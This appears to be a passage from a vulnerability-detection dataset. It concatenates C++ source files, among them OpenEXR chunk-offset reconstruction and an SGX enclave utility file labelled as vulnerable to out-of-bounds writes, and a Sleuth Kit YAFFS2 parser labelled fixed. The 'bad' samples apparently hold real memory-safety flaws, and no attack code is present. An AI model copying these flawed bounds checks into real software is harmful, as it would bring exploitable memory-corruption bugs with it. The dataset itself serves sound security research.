bytes of header, 4 byte chunksize; int chunksize; OPENEXR_IMF_INTERNAL_NAMESPACE::Xdr::read <OPENEXR_IMF_INTERNAL_NAMESPACE::StreamIO> (is, chunksize); size_of_chunk=chunksize+20; } } else { int y_coordinate; OPENEXR_IMF_INTERNAL_NAMESPACE::Xdr::read <OPENEXR_IMF_INTERNAL_NAMESPACE::StreamIO> (is, y_coordinate); if(y_coordinate < header.dataWindow().min.y || y_coordinate > header.dataWindow().max.y) { throw IEX_NAMESPACE::IoExc("y out of range"); } y_coordinate -= header.dataWindow().min.y; y_coordinate /= rowsizes[partNumber]; if(y_coordinate < 0 || y_coordinate >= int(parts[partNumber]->chunkOffsets.size())) { throw IEX_NAMESPACE::IoExc("chunk index out of range"); } parts[partNumber]->chunkOffsets[y_coordinate]=chunk_start; if(header.type()==DEEPSCANLINE) { Int64 packed_offset; Int64 packed_sample; OPENEXR_IMF_INTERNAL_NAMESPACE::Xdr::read <OPENEXR_IMF_INTERNAL_NAMESPACE::StreamIO> (is, packed_offset); OPENEXR_IMF_INTERNAL_NAMESPACE::Xdr::read <OPENEXR_IMF_INTERNAL_NAMESPACE::StreamIO> (is, packed_sample); size_of_chunk=packed_offset+packed_sample+28; } else { int chunksize; OPENEXR_IMF_INTERNAL_NAMESPACE::Xdr::read <OPENEXR_IMF_INTERNAL_NAMESPACE::StreamIO> (is, chunksize); size_of_chunk=chunksize+8; } } if(isMultiPart(version)) { chunk_start+=4; } chunk_start+=size_of_chunk; is.seekg(chunk_start); } } catch (...) { // // Suppress all exceptions. This functions is // called only to reconstruct the line offset // table for incomplete files, and exceptions // are likely. // } // copy tiled part data back to chunk offsets for(size_t partNumber=0;partNumber<parts.size();partNumber++) { if(tileOffsets[partNumber]) { size_t pos=0; vector<vector<vector <Int64> > > offsets = tileOffsets[partNumber]->getOffsets(); for (size_t l = 0; l < offsets.size(); l++) for (size_t y = 0; y < offsets[l].size(); y++) for (size_t x = 0; x < offsets[l][y].size(); x++) { parts[ partNumber ]->chunkOffsets[pos] = offsets[l][y][x]; pos++; } delete tileOffsets[partNumber]; } } is.clear(); is.seekg (position); } InputPartData* MultiPartInputFile::Data::getPart(int partNumber) { if (partNumber < 0 || partNumber >= (int) parts.size()) throw IEX_NAMESPACE::ArgExc ("Part number is not in valid range."); return parts[partNumber]; } void MultiPartInputFile::Data::readChunkOffsetTables(bool reconstructChunkOffsetTable) { bool brokenPartsExist = false; for (size_t i = 0; i < parts.size(); i++) { int chunkOffsetTableSize = getChunkOffsetTableSize(parts[i]->header,false); parts[i]->chunkOffsets.resize(chunkOffsetTableSize); for (int j = 0; j < chunkOffsetTableSize; j++) OPENEXR_IMF_INTERNAL_NAMESPACE::Xdr::read <OPENEXR_IMF_INTERNAL_NAMESPACE::StreamIO> (*is, parts[i]->chunkOffsets[j]); // // Check chunk offsets, reconstruct if broken. // At first we assume the table is complete. // parts[i]->completed = true; for (int j = 0; j < chunkOffsetTableSize; j++) { if (parts[i]->chunkOffsets[j] <= 0) { brokenPartsExist = true; parts[i]->completed = false; break; } } } if (brokenPartsExist && reconstructChunkOffsetTable) chunkOffsetReconstruction(*is, parts); } int MultiPartInputFile::version() const { return _data->version; } bool MultiPartInputFile::partComplete(int part) const { return _data->parts[part]->completed; } int MultiPartInputFile::parts() const { return int(_data->_headers.size()); } OPENEXR_IMF_INTERNAL_NAMESPACE_SOURCE_EXIT
./CrossVul/dataset_final_sorted/CWE-787/cpp/bad_4243_0
crossvul-cpp_data_bad_517_3
#include "util.h" #include <climits> #include <cstdio> #include "Enclave_t.h" int printf(const char *fmt, ...) { char buf[BUFSIZ] = {'\0'}; va_list ap; va_start(ap, fmt); int ret = vsnprintf(buf, BUFSIZ, fmt, ap); va_end(ap); ocall_print_string(buf); return ret; } /** From https://stackoverflow.com/a/8362718 */ std::string string_format(const std::string &fmt, ...) { int size=BUFSIZ; std::string str; va_list ap; while (1) { str.resize(size); va_start(ap, fmt); int n = vsnprintf(&str[0], size, fmt.c_str(), ap); va_end(ap); if (n > -1 && n < size) return str; if (n > -1) size = n + 1; else size *= 2; } } void exit(int exit_code) { ocall_exit(exit_code); } void print_bytes(uint8_t *ptr, uint32_t len) { for (uint32_t i = 0; i < len; i++) { printf("%u", *(ptr + i)); printf(" - "); } printf("\n"); } int cmp(const uint8_t *value1, const uint8_t *value2, uint32_t len) { for (uint32_t i = 0; i < len; i++) { if (*(value1+i) != *(value2+i)) { return -1; } } return 0; } // basically a memset 0 void clear(uint8_t *dest, uint32_t len) { for (uint32_t i = 0; i < len; i++) { *(dest + i) = 0; } } /// From http://git.musl-libc.org/cgit/musl/tree/src/time/__secs_to_tm.c?h=v0.9.15 /* 2000-03-01 (mod 400 year, immediately after feb29 */ #define LEAPOCH (946684800LL + 86400*(31+29)) #define DAYS_PER_400Y (365*400 + 97) #define DAYS_PER_100Y (365*100 + 24) #define DAYS_PER_4Y (365*4 + 1) int secs_to_tm(long long t, struct tm *tm) { long long days, secs; int remdays, remsecs, remyears; int qc_cycles, c_cycles, q_cycles; int years, months; int wday, yday, leap; static const char days_in_month[] = {31,30,31,30,31,31,30,31,30,31,31,29}; /* Reject time_t values whose year would overflow int */ if (t < INT_MIN * 31622400LL || t > INT_MAX * 31622400LL) return -1; secs = t - LEAPOCH; days = secs / 86400; remsecs = secs % 86400; if (remsecs < 0) { remsecs += 86400; days--; } wday = (3+days)%7; if (wday < 0) wday += 7; qc_cycles = days / DAYS_PER_400Y; remdays = days % DAYS_PER_400Y; if (remdays < 0) { remdays += DAYS_PER_400Y; qc_cycles--; } c_cycles = remdays / DAYS_PER_100Y; if (c_cycles == 4) c_cycles--; remdays -= c_cycles * DAYS_PER_100Y; q_cycles = remdays / DAYS_PER_4Y; if (q_cycles == 25) q_cycles--; remdays -= q_cycles * DAYS_PER_4Y; remyears = remdays / 365; if (remyears == 4) remyears--; remdays -= remyears * 365; leap = !remyears && (q_cycles || !c_cycles); yday = remdays + 31 + 28 + leap; if (yday >= 365+leap) yday -= 365+leap; years = remyears + 4*q_cycles + 100*c_cycles + 400*qc_cycles; for (months=0; days_in_month[months] <= remdays; months++) remdays -= days_in_month[months]; if (years+100 > INT_MAX || years+100 < INT_MIN) return -1; tm->tm_year = years + 100; tm->tm_mon = months + 2; if (tm->tm_mon >= 12) { tm->tm_mon -=12; tm->tm_year++; } tm->tm_mday = remdays + 1; tm->tm_wday = wday; tm->tm_yday = yday; tm->tm_hour = remsecs / 3600; tm->tm_min = remsecs / 60 % 60; tm->tm_sec = remsecs % 60; return 0; }
./CrossVul/dataset_final_sorted/CWE-787/cpp/bad_517_3
crossvul-cpp_data_good_3866_0
/* ** The Sleuth Kit ** ** Brian Carrier [carrier <at> sleuthkit [dot] org] ** Copyright (c) 2006-2011 Brian Carrier, Basis Technology. All Rights reserved ** Copyright (c) 2003-2005 Brian Carrier. All rights reserved ** ** TASK v** Copyright (c) 2002-2003 Brian Carrier, @stake Inc. All rights reserved ** ** Copyright (c) 1997,1998,1999, International Business Machines ** Corporation and others. All Rights Reserved. */ /** *\file yaffs.cpp * Contains the internal TSK YAFFS2 file system functions. */ /* TCT * LICENSE * This software is distributed under the IBM Public License. * AUTHOR(S) * Wietse Venema * IBM T.J. Watson Research * P.O. Box 704 * Yorktown Heights, NY 10598, USA --*/ #include <vector> #include <map> #include <algorithm> #include <string> #include <set> #include <string.h> #include "tsk_fs_i.h" #include "tsk_yaffs.h" #include "tsk_fs.h" /* * Implementation Notes: * - As inode, we use object id and a version number derived from the * number of unique sequence ids for the object still left in the * file system. * * - The version numbers start at 1 and increase as they get closer to * the the latest version. Version number 0 is a special version * that is equivalent to the latest version (without having to know * the latest version number.) * * - Since inodes are composed using the object id in the least * significant bits and the version up higher, requesting the * inode that matches the object id you are looking for will * retrieve the latest version of this object. * * - Files always exist in the latest version of their parent directory * only. * * - Filenames are not unique even with attached version numbers, since * version numbers are namespaced by inode. * * - The cache stores a lot of info via the structure. As this is * used for investigations, we assume these decisions will be updated * to expose the most useful view of this log based file system. TSK * doesn't seem have a real way to expose a versioned view of a log * based file system like this. Shoehorning it into the framework * ends up dropping some information. I looked at using resource * streams as versions, but the abstraction breaks quickly. * */ static const int TWELVE_BITS_MASK = 0xFFF; // Only keep 12 bits static uint8_t yaffsfs_read_header(YAFFSFS_INFO *yfs, YaffsHeader ** header, TSK_OFF_T offset); static uint8_t yaffsfs_load_attrs(TSK_FS_FILE *file); /** * Generate an inode number based on the file's object and version numbers */ static TSK_RETVAL_ENUM yaffscache_obj_id_and_version_to_inode(uint32_t obj_id, uint32_t version_num, TSK_INUM_T *inode) { if ((obj_id & ~YAFFS_OBJECT_ID_MASK) != 0) { tsk_error_reset(); tsk_error_set_errno(TSK_ERR_FS); tsk_error_set_errstr( "yaffsfs_parse_image_load_cache: Max object ID %" PRIu32 " is invalid", obj_id); return TSK_ERR; } if ((version_num & ~YAFFS_VERSION_NUM_MASK) != 0) { tsk_error_reset(); tsk_error_set_errno(TSK_ERR_FS); tsk_error_set_errstr( "yaffsfs_parse_image_load_cache: Max version number %" PRIu32 " is invalid", version_num); return TSK_ERR; } *inode = obj_id | (version_num << YAFFS_VERSION_NUM_SHIFT); return TSK_OK; } /** * Given the TSK-generated inode address, extract the object id and version number from it */ static TSK_RETVAL_ENUM yaffscache_inode_to_obj_id_and_version(TSK_INUM_T inode, uint32_t *obj_id, uint32_t *version_num) { *obj_id = inode & YAFFS_OBJECT_ID_MASK; *version_num = (inode >> YAFFS_VERSION_NUM_SHIFT) & YAFFS_VERSION_NUM_MASK; return TSK_OK; } /* * Order it like yaffs2.git does -- sort by (seq_num, offset/block) */ static int yaffscache_chunk_compare(YaffsCacheChunk *curr, uint32_t addee_obj_id, TSK_OFF_T addee_offset, uint32_t addee_seq_number) { if (curr->ycc_obj_id == addee_obj_id) { if (curr->ycc_seq_number == addee_seq_number) { if (curr->ycc_offset == addee_offset) { return 0; } else if (curr->ycc_offset < addee_offset) { return -1; } else { return 1; } } else if (curr->ycc_seq_number < addee_seq_number) { return -1; } else { return 1; } } else if (curr->ycc_obj_id < addee_obj_id) { return -1; } else { return 1; } } static TSK_RETVAL_ENUM yaffscache_chunk_find_insertion_point(YAFFSFS_INFO *yfs, uint32_t obj_id, TSK_OFF_T offset, uint32_t seq_number, YaffsCacheChunk **chunk) { YaffsCacheChunk *curr, *prev; // Have we seen this obj_id? If not, add an entry for it if(yfs->chunkMap->find(obj_id) == yfs->chunkMap->end()){ fflush(stderr); YaffsCacheChunkGroup chunkGroup; chunkGroup.cache_chunks_head = NULL; chunkGroup.cache_chunks_tail = NULL; yfs->chunkMap->insert(std::make_pair(obj_id, chunkGroup)); } curr = yfs->chunkMap->operator[](obj_id).cache_chunks_head; prev = NULL; if (chunk == NULL) { return TSK_ERR; } while(curr != NULL) { // Compares obj id, then seq num, then offset. -1 => current < new int cmp = yaffscache_chunk_compare(curr, obj_id, offset, seq_number); if (cmp == 0) { *chunk = curr; return TSK_OK; } else if (cmp == 1) { *chunk = prev; return TSK_STOP; } prev = curr; curr = curr->ycc_next; } *chunk = prev; return TSK_STOP; } /** * Add a chunk to the cache. * @param yfs * @param offset Byte offset this chunk was found in (in the disk image) * @param seq_number Sequence number of this chunk * @param obj_id Object Id this chunk is associated with * @param parent_id Parent object ID that this chunk/object is associated with */ static TSK_RETVAL_ENUM yaffscache_chunk_add(YAFFSFS_INFO *yfs, TSK_OFF_T offset, uint32_t seq_number, uint32_t obj_id, uint32_t chunk_id, uint32_t parent_id) { TSK_RETVAL_ENUM result; YaffsCacheChunk *prev; YaffsCacheChunk *chunk; if ((chunk = (YaffsCacheChunk*)tsk_malloc(sizeof(YaffsCacheChunk))) == NULL) { return TSK_ERR; } chunk->ycc_offset = offset; chunk->ycc_seq_number = seq_number; chunk->ycc_obj_id = obj_id; chunk->ycc_chunk_id = chunk_id; chunk->ycc_parent_id = parent_id; // Bit of a hack here. In some images, the root directory (obj_id = 1) lists iself as its parent // directory, which can cause issues later when we get directory contents. To prevent this, // if a chunk comes in with obj_id = 1 and parent_id = 1, manually set the parent ID to zero. if((obj_id == 1) && (parent_id == 1)){ chunk->ycc_parent_id = 0; } // Find the chunk that should go right before the new chunk result = yaffscache_chunk_find_insertion_point(yfs, obj_id, offset, seq_number, &prev); if (result == TSK_ERR) { return TSK_ERR; } if (prev == NULL) { // No previous chunk - new chunk is the lowest we've seen and the new start of the list chunk->ycc_prev = NULL; chunk->ycc_next = yfs->chunkMap->operator[](obj_id).cache_chunks_head; } else { chunk->ycc_prev = prev; chunk->ycc_next = prev->ycc_next; } if (chunk->ycc_next != NULL) { // If we're not at the end, set the prev pointer on the next chunk to point to our new one chunk->ycc_next->ycc_prev = chunk; } else { yfs->chunkMap->operator[](obj_id).cache_chunks_tail = chunk; } if (chunk->ycc_prev != NULL) { // If we're not at the beginning, set the next pointer on the previous chunk to point at our new one chunk->ycc_prev->ycc_next = chunk; } else { yfs->chunkMap->operator[](obj_id).cache_chunks_head = chunk; } return TSK_OK; } /** * Get the file object from the cache. * @returns TSK_OK if it was found and TSK_STOP if we did not find it */ static TSK_RETVAL_ENUM yaffscache_object_find(YAFFSFS_INFO *yfs, uint32_t obj_id, YaffsCacheObject **obj) { YaffsCacheObject *curr, *prev; curr = yfs->cache_objects; prev = NULL; if (obj == NULL) { return TSK_ERR; } while(curr != NULL) { if (curr->yco_obj_id == obj_id) { *obj = curr; return TSK_OK; } else if (curr->yco_obj_id > obj_id) { *obj = prev; return TSK_STOP; } prev = curr; curr = curr->yco_next; } *obj = prev; return TSK_STOP; } /** * Add an object to the cache if it does not already exist in there. * @returns TSK_ERR on error, TSK_OK otherwise. */ static TSK_RETVAL_ENUM yaffscache_object_find_or_add(YAFFSFS_INFO *yfs, uint32_t obj_id, YaffsCacheObject **obj) { YaffsCacheObject *prev; TSK_RETVAL_ENUM result; if (obj == NULL) { return TSK_ERR; } // Look for this obj_id in yfs->cache_objects // If not found, add it in the correct spot // yaffscache_object_find returns the last object with obj_id less than the one // we were searching for, so use that to insert the new one in the list result = yaffscache_object_find(yfs, obj_id, &prev); if (result == TSK_OK) { *obj = prev; return TSK_OK; } else if (result == TSK_STOP) { *obj = (YaffsCacheObject *) tsk_malloc(sizeof(YaffsCacheObject)); (*obj)->yco_obj_id = obj_id; if (prev == NULL) { (*obj)->yco_next = yfs->cache_objects; yfs->cache_objects = *obj; } else { (*obj)->yco_next = prev->yco_next; prev->yco_next = (*obj); } return TSK_OK; } else { *obj = NULL; return TSK_ERR; } } static TSK_RETVAL_ENUM yaffscache_object_add_version(YaffsCacheObject *obj, YaffsCacheChunk *chunk) { uint32_t ver_number; YaffsCacheChunk *header_chunk = NULL; YaffsCacheVersion *version; // Going to try ignoring unlinked/deleted headers (objID 3 and 4) if ((chunk->ycc_chunk_id == 0) && (chunk->ycc_parent_id != YAFFS_OBJECT_UNLINKED) &&(chunk->ycc_parent_id != YAFFS_OBJECT_DELETED)) { header_chunk = chunk; } /* If this is the second version (since last header_chunk is not NULL) and no * header was added, get rid of this incomplete old version -- can't be * reasonably recovered. * * TODO: These chunks are still in the structure and can be walked, * but I'm not sure how to represent this set of data chunks * with no metadata under TSK. This is rare and we don't have * a testcase for it now. Punting right now. * * Edit: Shouldn't get to this point anymore. Changes to * yaffscache_versions_insert_chunk make a version continue until it * has a header block. */ if (obj->yco_latest != NULL) { if (obj->yco_latest->ycv_header_chunk == NULL) { YaffsCacheVersion *incomplete = obj->yco_latest; if (tsk_verbose) tsk_fprintf(stderr, "yaffscache_object_add_version: " "removed an incomplete first version (no header)\n"); obj->yco_latest = obj->yco_latest->ycv_prior; free(incomplete); } } if (obj->yco_latest != NULL) { ver_number = obj->yco_latest->ycv_version + 1; /* Until a new header is given, use the last seen header. */ if (header_chunk == NULL) { header_chunk = obj->yco_latest->ycv_header_chunk; // If we haven't seen a good header yet and we have a deleted/unlinked one, use it if((header_chunk == NULL) && (chunk->ycc_chunk_id == 0)){ header_chunk = chunk; } } } else { ver_number = 1; } if ((version = (YaffsCacheVersion *) tsk_malloc(sizeof(YaffsCacheVersion))) == NULL) { return TSK_ERR; } version->ycv_prior = obj->yco_latest; version->ycv_version = ver_number; version->ycv_seq_number = chunk->ycc_seq_number; version->ycv_header_chunk = header_chunk; version->ycv_first_chunk = chunk; version->ycv_last_chunk = chunk; obj->yco_latest = version; return TSK_OK; } /** * Add a chunk to its corresponding object in the cache. */ static TSK_RETVAL_ENUM yaffscache_versions_insert_chunk(YAFFSFS_INFO *yfs, YaffsCacheChunk *chunk) { YaffsCacheObject *obj; TSK_RETVAL_ENUM result; YaffsCacheVersion *version; // Building a list in yfs->cache_objects, sorted by obj_id result = yaffscache_object_find_or_add(yfs, chunk->ycc_obj_id, &obj); if (result != TSK_OK) { return TSK_ERR; } version = obj->yco_latest; /* First chunk in this object? */ if (version == NULL) { yaffscache_object_add_version(obj, chunk); } else { /* Chunk in the same update? */ if (chunk->ycc_seq_number == version->ycv_seq_number) { version->ycv_last_chunk = chunk; if ((chunk->ycc_chunk_id == 0) && (chunk->ycc_parent_id != YAFFS_OBJECT_UNLINKED) &&(chunk->ycc_parent_id != YAFFS_OBJECT_DELETED)) { version->ycv_header_chunk = chunk; } else if((chunk->ycc_chunk_id == 0) && (version->ycv_header_chunk == NULL)){ version->ycv_header_chunk = chunk; } } // If there was no header for the last version, continue adding to it instead // of starting a new version. else if(version->ycv_header_chunk == NULL){ version->ycv_seq_number = chunk->ycc_seq_number; version->ycv_last_chunk = chunk; if ((chunk->ycc_chunk_id == 0) && (chunk->ycc_parent_id != YAFFS_OBJECT_UNLINKED) &&(chunk->ycc_parent_id != YAFFS_OBJECT_DELETED)) { version->ycv_header_chunk = chunk; } else if((chunk->ycc_chunk_id == 0) && (version->ycv_header_chunk == NULL)){ version->ycv_header_chunk = chunk; } } else if(chunk->ycc_chunk_id == 0){ // Directories only have a header block // If we're looking at a new version of a directory where the previous version had the same name, // leave everything in the same version. Multiple versions of the same directory aren't really giving us // any information. YaffsHeader * newHeader; yaffsfs_read_header(yfs, &newHeader, chunk->ycc_offset); if((newHeader != NULL) && (newHeader->obj_type == YAFFS_TYPE_DIRECTORY)){ // Read in the old header YaffsHeader * oldHeader; yaffsfs_read_header(yfs, &oldHeader, version->ycv_header_chunk->ycc_offset); if((oldHeader != NULL) && (oldHeader->obj_type == YAFFS_TYPE_DIRECTORY) && (0 == strncmp(oldHeader->name, newHeader->name, YAFFS_HEADER_NAME_LENGTH))){ version->ycv_seq_number = chunk->ycc_seq_number; version->ycv_last_chunk = chunk; version->ycv_header_chunk = chunk; } else{ // The older header either isn't a directory or it doesn't have the same name, so leave it // as its own version yaffscache_object_add_version(obj, chunk); } } else{ // Not a directory yaffscache_object_add_version(obj, chunk); } } else{ // Otherwise, add this chunk as the start of a new version yaffscache_object_add_version(obj, chunk); } } return TSK_OK; } static TSK_RETVAL_ENUM yaffscache_versions_compute(YAFFSFS_INFO *yfs) { std::map<unsigned int,YaffsCacheChunkGroup>::iterator iter; for( iter = yfs->chunkMap->begin(); iter != yfs->chunkMap->end(); ++iter ) { YaffsCacheChunk *chunk_curr = yfs->chunkMap->operator[](iter->first).cache_chunks_head; while(chunk_curr != NULL) { if (yaffscache_versions_insert_chunk(yfs, chunk_curr) != TSK_OK) { return TSK_ERR; } chunk_curr = chunk_curr->ycc_next; } } return TSK_OK; } /** * Callback for yaffscache_find_children() * @param obj Object that is a child * @param version Version of the object * @param args Pointer to what was passed into yaffscache_find_children */ typedef TSK_RETVAL_ENUM yc_find_children_cb(YaffsCacheObject *obj, YaffsCacheVersion *version, void *args); /** * Search the cache for objects that are children of the given address. * @param yfs * @param parent_inode Inode of folder/directory * @param cb Call back to call for each found child * @param args Pointer to structure that will be passed to cb * @returns TSK_ERR on error */ static TSK_RETVAL_ENUM yaffscache_find_children(YAFFSFS_INFO *yfs, TSK_INUM_T parent_inode, yc_find_children_cb cb, void *args) { YaffsCacheObject *obj; uint32_t parent_id, version_num; if (yaffscache_inode_to_obj_id_and_version(parent_inode, &parent_id, &version_num) != TSK_OK) { return TSK_ERR; } /* Iterate over all objects and all versions of the objects to see if one is the child * of the given parent. */ for (obj = yfs->cache_objects; obj != NULL; obj = obj->yco_next) { YaffsCacheVersion *version; for (version = obj->yco_latest; version != NULL; version = version->ycv_prior) { /* Is this an incomplete version? */ if (version->ycv_header_chunk == NULL) { continue; } if (version->ycv_header_chunk->ycc_parent_id == parent_id) { TSK_RETVAL_ENUM result = cb(obj, version, args); if (result != TSK_OK) return result; } } } return TSK_OK; } /** * Lookup an object based on its inode. * @param yfs * @param inode * @param version [out] Pointer to store version of the object that was found (if inode had a version of 0) * @param obj_ret [out] Pointer to store found object into * @returns TSK_ERR on error. */ static TSK_RETVAL_ENUM yaffscache_version_find_by_inode(YAFFSFS_INFO *yfs, TSK_INUM_T inode, YaffsCacheVersion **version, YaffsCacheObject **obj_ret) { uint32_t obj_id, version_num; YaffsCacheObject *obj; YaffsCacheVersion *curr; if (version == NULL) { return TSK_ERR; } // convert inode to obj and version and find it in cache if (yaffscache_inode_to_obj_id_and_version(inode, &obj_id, &version_num) != TSK_OK) { *version = NULL; return TSK_ERR; } if (yaffscache_object_find(yfs, obj_id, &obj) != TSK_OK) { *version = NULL; return TSK_ERR; } if (version_num == 0) { if (obj_ret != NULL) { *obj_ret = obj; } *version = obj->yco_latest; return TSK_OK; } // Find the requested version in the list. for(curr = obj->yco_latest; curr != NULL; curr = curr->ycv_prior) { if (curr->ycv_version == version_num) { if (obj_ret != NULL) { *obj_ret = obj; } *version = curr; return TSK_OK; } } if (obj_ret != NULL) { *obj_ret = NULL; } *version = NULL; return TSK_ERR; } static void yaffscache_object_dump(FILE *fp, YaffsCacheObject *obj) { YaffsCacheVersion *next_version = obj->yco_latest; YaffsCacheChunk *chunk = next_version->ycv_last_chunk; fprintf(fp, "Object %d\n", obj->yco_obj_id); while(chunk != NULL && chunk->ycc_obj_id == obj->yco_obj_id) { if (next_version != NULL && chunk == next_version->ycv_last_chunk) { fprintf(fp, " @%d: %p %p %p\n", next_version->ycv_version, (void*) next_version->ycv_header_chunk, (void*) next_version->ycv_first_chunk, (void*)next_version->ycv_last_chunk); next_version = next_version->ycv_prior; } fprintf(fp, " + %p %08x %08x %0" PRIxOFF "\n", (void*) chunk, chunk->ycc_chunk_id, chunk->ycc_seq_number, chunk->ycc_offset); chunk = chunk->ycc_prev; } } /* static void yaffscache_objects_dump(FILE *fp, YAFFSFS_INFO *yfs) { YaffsCacheObject *obj; for(obj = yfs->cache_objects; obj != NULL; obj = obj->yco_next) yaffscache_object_dump(fp, obj); } */ static void yaffscache_objects_stats(YAFFSFS_INFO *yfs, unsigned int *obj_count, uint32_t *obj_first, uint32_t *obj_last, uint32_t *version_count, uint32_t *version_first, uint32_t *version_last) { YaffsCacheObject *obj; YaffsCacheVersion *ver; /* deleted and unlinked special objects don't have headers */ *obj_count = 2; *obj_first = 0xffffffff; *obj_last = 0; *version_count = 0; *version_first = 0xffffffff; *version_last = 0; for(obj = yfs->cache_objects; obj != NULL; obj = obj->yco_next) { *obj_count += 1; if (obj->yco_obj_id < *obj_first) *obj_first = obj->yco_obj_id; if (obj->yco_obj_id > *obj_last) *obj_last = obj->yco_obj_id; for(ver = obj->yco_latest; ver != NULL; ver = ver->ycv_prior) { *version_count += 1; if (ver->ycv_seq_number < *version_first) *version_first = ver->ycv_seq_number; if (ver->ycv_seq_number > *version_last) *version_last = ver->ycv_seq_number; } } } static void yaffscache_objects_free(YAFFSFS_INFO *yfs) { if((yfs != NULL) && (yfs->cache_objects != NULL)){ YaffsCacheObject *obj = yfs->cache_objects; while(obj != NULL) { YaffsCacheObject *to_free = obj; YaffsCacheVersion *ver = obj->yco_latest; while(ver != NULL) { YaffsCacheVersion *v_to_free = ver; ver = ver->ycv_prior; free(v_to_free); } obj = obj->yco_next; free(to_free); } } } static void yaffscache_chunks_free(YAFFSFS_INFO *yfs) { if((yfs != NULL) && (yfs->chunkMap != NULL)){ // Free the YaffsCacheChunks in each ChunkGroup std::map<unsigned int,YaffsCacheChunkGroup>::iterator iter; for( iter = yfs->chunkMap->begin(); iter != yfs->chunkMap->end(); ++iter ) { YaffsCacheChunk *chunk = yfs->chunkMap->operator[](iter->first).cache_chunks_head; while(chunk != NULL) { YaffsCacheChunk *to_free = chunk; chunk = chunk->ycc_next; free(to_free); } } // Free the map yfs->chunkMap->clear(); delete yfs->chunkMap; } } /* * Parsing and helper functions * * */ /* Function to parse config file * * @param img_info Image info for this image * @param map<string, int> Stores values from config file indexed on parameter name * @returns YAFFS_CONFIG_STATUS One of YAFFS_CONFIG_OK, YAFFS_CONFIG_FILE_NOT_FOUND, or YAFFS_CONFIG_ERROR */ static YAFFS_CONFIG_STATUS yaffs_load_config_file(TSK_IMG_INFO * a_img_info, std::map<std::string, std::string> & results){ size_t config_file_name_len; TSK_TCHAR * config_file_name; FILE* config_file; char buf[1001]; // Ensure there is at least one image name if(a_img_info->num_img < 1){ return YAFFS_CONFIG_ERROR; } // Construct the name of the config file from the first image name config_file_name_len = TSTRLEN(a_img_info->images[0]); config_file_name_len += TSTRLEN(YAFFS_CONFIG_FILE_SUFFIX); config_file_name = (TSK_TCHAR *) tsk_malloc(sizeof(TSK_TCHAR) * (config_file_name_len + 1)); TSTRNCPY(config_file_name, a_img_info->images[0], TSTRLEN(a_img_info->images[0]) + 1); TSTRNCAT(config_file_name, YAFFS_CONFIG_FILE_SUFFIX, TSTRLEN(YAFFS_CONFIG_FILE_SUFFIX) + 1); #ifdef TSK_WIN32 HANDLE hWin; if ((hWin = CreateFile(config_file_name, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0)) == INVALID_HANDLE_VALUE) { // For the moment, assume that the file just doesn't exist, which isn't an error free(config_file_name); return YAFFS_CONFIG_FILE_NOT_FOUND; } config_file = _fdopen(_open_osfhandle((intptr_t) hWin, _O_RDONLY), "r"); if (config_file == NULL) { tsk_error_reset(); tsk_error_set_errno(TSK_ERR_FS); tsk_error_set_errstr( "yaffs_load_config: Error converting Windows handle to C handle"); free(config_file_name); CloseHandle(hWin); return YAFFS_CONFIG_ERROR; } #else if (NULL == (config_file = fopen(config_file_name, "r"))) { free(config_file_name); return YAFFS_CONFIG_FILE_NOT_FOUND; } #endif while(fgets(buf, 1000, config_file) != NULL){ // Is it a comment? if((buf[0] == '#') || (buf[0] == ';')){ continue; } // Is there a '=' ? if(strchr(buf, '=') == NULL){ continue; } // Copy to strings while removing whitespace and converting to lower case std::string paramName(""); std::string paramVal(""); const char * paramNamePtr = strtok(buf, "="); while(*paramNamePtr != '\0'){ if(! isspace((char)(*paramNamePtr))){ paramName += tolower((char)(*paramNamePtr)); } paramNamePtr++; } const char * paramValPtr = strtok(NULL, "="); while(*paramValPtr != '\0'){ if(! isspace(*paramValPtr)){ paramVal += tolower((char)(*paramValPtr)); } paramValPtr++; } // Make sure this parameter is not already in the map if(results.find(paramName) != results.end()){ // Duplicate parameter - return an error tsk_error_reset(); tsk_error_set_errno(TSK_ERR_FS); tsk_error_set_errstr( "yaffs_load_config: Duplicate parameter name in config file (\"%s\"). %s", paramName.c_str(), YAFFS_HELP_MESSAGE); fclose(config_file); free(config_file_name); return YAFFS_CONFIG_ERROR; } // Add this entry to the map results[paramName] = paramVal; } fclose(config_file); free(config_file_name); return YAFFS_CONFIG_OK; } /* * Helper function for yaffs_validate_config * Tests that a string consists only of digits and has at least one digit * (Can modify later if we want negative fields to be valid) * * @param numStr String to test * @returns 1 on error, 0 on success */ static int yaffs_validate_integer_field(std::string numStr){ unsigned int i; // Test if empty if(numStr.length() == 0){ return 1; } // Test each character for(i = 0;i < numStr.length();i++){ if(isdigit(numStr[i]) == 0){ return 1; } } return 0; } /* * Function to validate the contents of the config file * Currently testing: * All YAFFS_CONFIG fields should be integers (if they exist) * Either need all three of YAFFS_CONFIG_SEQ_NUM_STR, YAFFS_CONFIG_OBJ_ID_STR, YAFFS_CONFIG_CHUNK_ID_STR * or none of them * * @param paramMap Holds mapping of parameter name to parameter value * @returns 1 on error (invalid parameters), 0 on success */ static int yaffs_validate_config_file(std::map<std::string, std::string> & paramMap){ int offset_field_count; // Make a list of all fields to test std::set<std::string> integerParams; integerParams.insert(YAFFS_CONFIG_SEQ_NUM_STR); integerParams.insert(YAFFS_CONFIG_OBJ_ID_STR); integerParams.insert(YAFFS_CONFIG_CHUNK_ID_STR); integerParams.insert(YAFFS_CONFIG_PAGE_SIZE_STR); integerParams.insert(YAFFS_CONFIG_SPARE_SIZE_STR); integerParams.insert(YAFFS_CONFIG_CHUNKS_PER_BLOCK_STR); // If the parameter is set, verify that the value is an int for(std::set<std::string>::iterator it = integerParams.begin();it != integerParams.end();it++){ if((paramMap.find(*it) != paramMap.end()) && (0 != yaffs_validate_integer_field(paramMap[*it]))){ tsk_error_reset(); tsk_error_set_errno(TSK_ERR_FS); tsk_error_set_errstr( "yaffs_validate_config_file: Empty or non-integer value for Yaffs2 parameter \"%s\". %s", (*it).c_str(), YAFFS_HELP_MESSAGE); return 1; } } // Check that we have all three spare offset fields, or none of the three offset_field_count = 0; if(paramMap.find(YAFFS_CONFIG_SEQ_NUM_STR) != paramMap.end()){ offset_field_count++; } if(paramMap.find(YAFFS_CONFIG_OBJ_ID_STR) != paramMap.end()){ offset_field_count++; } if(paramMap.find(YAFFS_CONFIG_CHUNK_ID_STR) != paramMap.end()){ offset_field_count++; } if(! ((offset_field_count == 0) || (offset_field_count == 3))){ tsk_error_reset(); tsk_error_set_errno(TSK_ERR_FS); tsk_error_set_errstr( "yaffs_validate_config_file: Require either all three spare offset fields or none. %s", YAFFS_HELP_MESSAGE); return 1; } // 